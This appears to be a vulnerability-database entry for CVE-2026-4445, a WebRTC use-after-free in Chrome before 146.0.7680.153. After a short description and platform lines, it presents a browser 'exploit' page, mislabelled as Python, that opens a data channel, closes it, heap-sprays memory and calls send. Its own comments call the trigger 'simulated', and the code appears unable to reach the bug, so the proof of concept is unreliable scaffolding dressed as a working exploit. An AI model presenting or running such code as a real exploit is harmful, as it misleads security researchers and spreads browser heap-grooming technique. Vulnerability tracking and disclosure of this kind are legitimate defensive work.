Use after free in WebRTC in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-4445 Concept -->
<html>
<head>
<script>
// Function to simulate triggering the UAF vulnerability in WebRTC
function exploit() {
// Create a peer connection to initialize WebRTC components
const pc = new RTCPeerConnection();
// Create a data channel which is often involved in WebRTC memory handling
const dc = pc.createDataChannel("exploit_channel");
dc.onopen = function() {
console.log("Data channel opened");
// Step 1: Perform operations that lead to object usage
// In a real exploit, specific API calls would trigger the bug
// Step 2: Force the object to be freed (simulated)
// Closing the connection might trigger cleanup logic
pc.close();
// Step 3: Heap grooming/spraying to reclaim memory
// Allocating large amounts of memory to occupy the freed space
const buffer_size = 1024;
const spray_count = 10000;
const spray = new Array(spray_count);
for (let i = 0; i < spray_count; i++) {
spray[i] = new Uint8Array(buffer_size);
spray[i].fill(0x41); // Fill with 'A'
}
// Step 4: Trigger Use-After-Free
// Attempting to use the closed/freed object
try {
dc.send("Triggering UAF");
} catch (e) {
console.log("Exception caught: " + e.message);
}
};
}
window.onload = exploit;
</script>
</head>
<body>
<h1>CVE-2026-4445 WebRTC UAF PoC</h1>
<p>Check the console for activity.</p>
</body>
</html>